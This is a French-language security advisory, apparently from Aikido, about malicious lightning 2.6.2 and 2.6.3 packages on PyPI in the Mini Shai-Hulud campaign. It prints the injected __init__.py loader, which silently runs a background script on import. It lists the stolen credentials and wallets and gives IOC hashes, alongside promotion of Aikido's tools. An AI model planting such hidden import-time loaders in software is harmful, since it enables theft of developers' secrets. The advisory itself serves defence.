La campagne d'attaque de la chaîne d'approvisionnement Mini Shai-Hulud s'est propagée à PyPI. Versions 2.6.2 et 2.6.3 du populaire lightning package Python, largement utilisé pour l'entraînement de modèles PyTorch, contient du code malveillant qui exfiltre discrètement les identifiants de développeurs, les secrets cloud et les portefeuilles de cryptomonnaies.
Cela fait suite à deux attaques récentes de la même campagne : le compromis npm de Bitwarden CLI et le compromis npm de SAP. Le même attaquant, le même ver, passe maintenant de npm à PyPI.
Si vous utilisez lightning==2.6.2 ou lightning==2.6.3, considérez votre machine comme compromise.
Fonctionnement
L'attaque est directement injectée dans __init__.py, le fichier qui s'exécute dès l'importation du package. Un thread d'arrière-plan est lancé avant le chargement de tout code Lightning légitime :
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Il exécute start.py, un bootstrapper Bun multiplateforme qui détecte votre OS et votre architecture, télécharge le runtime JavaScript Bun v1.3.13, et exécute router_runtime.js, la charge utile principale de 11 Mo. Le même schéma que celui utilisé dans les récentes attaques Bitwarden et SAP.
Ce qu'il dérobe
Clés SSH, historiques de shell (bash, zsh, Python, Node, MySQL, psql), .env fichiers, identifiants Git, identifiants AWS/GCP/Azure, configurations Kubernetes et Helm, identifiants Docker, jetons npm et configurations MCP. Portefeuilles de cryptomonnaies incluant Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic et Ledger. Identifiants VPN pour NordVPN, ProtonVPN, CyberGhost, Windscribe et OpenVPN. Données de session Discord et Slack.
Toutes les données volées sont chiffrées en RSA-2048 avant d'être exfiltrées vers des dépôts GitHub publics :

Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
IOCs
- Package :
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

